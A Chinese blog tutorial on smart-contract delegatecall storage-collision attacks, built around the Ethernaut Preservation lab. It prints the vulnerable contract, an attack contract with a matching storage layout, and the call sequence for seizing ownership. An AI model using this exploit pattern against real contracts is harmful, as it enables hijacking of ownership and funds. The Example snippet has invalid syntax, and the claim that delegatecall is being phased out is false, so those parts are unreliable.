区块链黑客第五讲:委托调用攻击

本篇文章是call注入攻击的兄弟篇,为啥这么说呢?

因为委托调用攻击核心函数便是 delegatecall()

难度:偏难,但理解了就非常简单

📕1. 开文挑战

  • 这是Ethernaut中的第十六个例子(已修改)
  • 现在把需求交给你 :将合约Preservation的所有权拿到手。
  • 你首先会想到什么?
java 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

在破解之前,我们首先要了解以下函数

📕2.了解delegatecall ()

delegatecall()call()是姊妹函数,它们都是调用函数的底层用法,因此在安全层面上是不严谨的。

🌳官方文档是这么描述这个函数的:

"除了目标地址上的代码在调用合约的上下文中执行以及 msg.sender 和 msg.value 不更改它们的值这一事实之外,与消息调用是相同的。

这意味着合约可以在运行时从不同的地址动态加载代码。存储、当前地址和余额仍然是指调用合约,只有代码是从被调用的地址。"

官方文档写的太抽象,我来举个例子方便大家理解:

java 复制代码
contract Example{

    address public calledContract;
    
    constructor(address _calledContract){
       this.calledContract = _calledContract;
    }
    
    function useDelegatecall(address _change) public {
        calledContract.delegatecall(abi.encodePacked(bytes4(keccak256("changeAddress(address)")),_change))
    }
}


contract CalledContract{
   address public initAddress;
   
   function changeAddress(address _changeAddress){
   		this.initAddress = _changeAddress;
   }
}

🚀解析例子

  • contract Example:主合约

  • contract CalledContract:被调用合约

  • address public calledContract:被调用合约地址

可以看到在函数useDelegatecall中,我们使用了delegatecall()调用了被调用合约的changeAddress()函数,并且传入了参数_change

调用成功后我们查看结果:

被调用合约中的initAddress并未修改成传入的地址参数_change,反而主合约的calledContract变成了_change.

🎹离谱吗

而这正是delegatecall()的安全漏洞:

被调用合约的上下文仍然是主合约的上下文,包括msg.valuemsg.sender 以及 storage。因此当我们以为修改的是合约CalledContract的第一插槽(不了解插槽的去看上一讲)实际上我们修改的是合约Example的第一插槽,即address calledContract

这就是delegatecall()函数真正的妙处,同样也是极大的安全漏洞!


📕研究合约

那么以上的使用方法,如何去破解开头给出的合约呢?

我想聪明的你早就有了一些想法。

💎回到合约

java 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
  • Preservation:主合约
  • timeZone1Library,timeZone2Library:两个外部调用合约地址,即本例中的LibraryContract
  • setTimeSignature:函数签名,可以通过call或delegatecall等底层方法调用函数。

💎偷天换日

当调用主合约函数setFirstTime时,将会调用外部合约LibraryContractsetTime方法,在该方法中修改了此合约的第一插槽,根据delegatecall()的特性,真正被修改的其实是主合约的第一插槽!,即timeZone1Library.
因此我们可以借助该漏洞替换掉主合约的timeZone1Library或者是timeZone2Library,再一次根据·delegatecall()的特性替换掉主合约的owner.

💎伪造攻击合约

那么被我们替换掉的攻击合约应该是什么样的呢?

为了完美利用delegatecall()的特性,它应该满足一下所有的需求:

  • 存储结构应该与主合约一致
  • 应该拥有与setTime()同名的函数
  • 应该在setiTime()函数中修改第三插槽的内存,也就是主合约中owner所在的存储位置。

因此,这个合约应该长这样:

java 复制代码
// SPDX-License-Identifier: MIT

contract AttackPreservation {

  //必须拥有相同的存储结构!
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  
  
  //同名函数
  function setTime(uint _change) public {
     owner = address(_change);
  }

}

至此,用于替换的攻击合约就已经编写好了。

当调用该攻击合约的setTime()函数之时,我们将合约中owner(第三插槽)替换成了传入的变量。

实际上修改的是主合约的owner变量,因此将调用传入的参数改成自己的钱包地址即可!

💎攻击流程

  1. 伪造用于替换timeZone1Library的攻击合约;
  2. 首次调用setFirstTime()函数,将传入参数设为用于替换的攻击合约的地址;
  3. 第二次调用setFirstTime()函数,将传入参数设为自己的钱包地址;
  4. 完成攻击,将合约拥有者修改成了自己

📕总结

delegatecall()是一种危险性极高的函数调用方式,因此在平时的合约编写中,非必要不要用到该调用方式。

并且随着solidity语言版本的迭代更新,delegatecall()已经被逐步禁用。

不要觉得这些知识学了无用,在今后的学习中,会基于这样的分析模式深入地解决问题!

恭喜你!通过了这一章的学习。

至此你已经初步了解了基于函数特性的技术性安全漏洞。

在接下来的学习中,我会涉及到新型的合约攻击方式,请持续关注我!

🌳参考文献

blog.sigmaprime-delegatecall

SWC-112

How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them (Part 1)

官方文档-delegatecall

相关推荐
OpenBuild.xyz3 小时前
我是如何从 0 到 1 找到 Web3 工作的?
人工智能·web3·去中心化·区块链·智能合约
Sui_Network3 小时前
Sui 如何支持各种类型的 Web3 游戏
大数据·数据库·人工智能·游戏·web3·区块链
区块链蓝海13 小时前
Secured Finance携手Axelar及Squid提升流动性,迎接USDFC主网
区块链
yunteng5211 天前
solidity之Foundry安装配置(一)
web3·区块链·solidity·foundry
qiquandongkh1 天前
2025年股指期货和股指期权合约交割的通知!
大数据·金融·区块链
yoona10202 天前
Rust编程语言入门教程 (七)函数与控制流
开发语言·rust·区块链·学习方法
MetaverseMan3 天前
从sumsub获取用户图片
区块链
电报号dapp1194 天前
区块链虚拟币资产去中心化私钥钱包开发
人工智能·去中心化·区块链·智能合约
simplesin4 天前
Web3 通识
web3